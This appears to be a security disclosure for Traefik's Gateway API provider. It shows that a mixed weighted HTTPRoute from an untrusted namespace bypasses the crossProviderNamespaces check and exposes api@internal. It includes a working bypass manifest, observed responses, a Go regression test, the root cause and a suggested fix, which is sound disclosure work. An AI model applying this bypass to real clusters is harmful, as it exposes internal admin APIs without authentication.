Details
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikService
Positive control:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1
Bypass:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1
Observed external result:
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1
The HTTPRoute status shows the boundary difference:
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=True
This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.
Files:
probe/crossprovider_namespace_probe_test.goprobe/cross_provider_namespace_probe.ymlprobe/cross_provider_namespace_single_control.yml
Reproduction:
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v
Observed output on both tested versions:
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]
The reproducer also includes a positive control:
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
Root Cause
The single-internal-service path checks the route namespace:
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {
The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)
loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {
This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
Impact
An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.
Potentially exposed internal services include:
api@internaldashboard@internalrest@internal
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found
When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal
A WRR service containing api@internal also exposes the API:
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1
This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.
Suggested Fix
For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.
</details>
---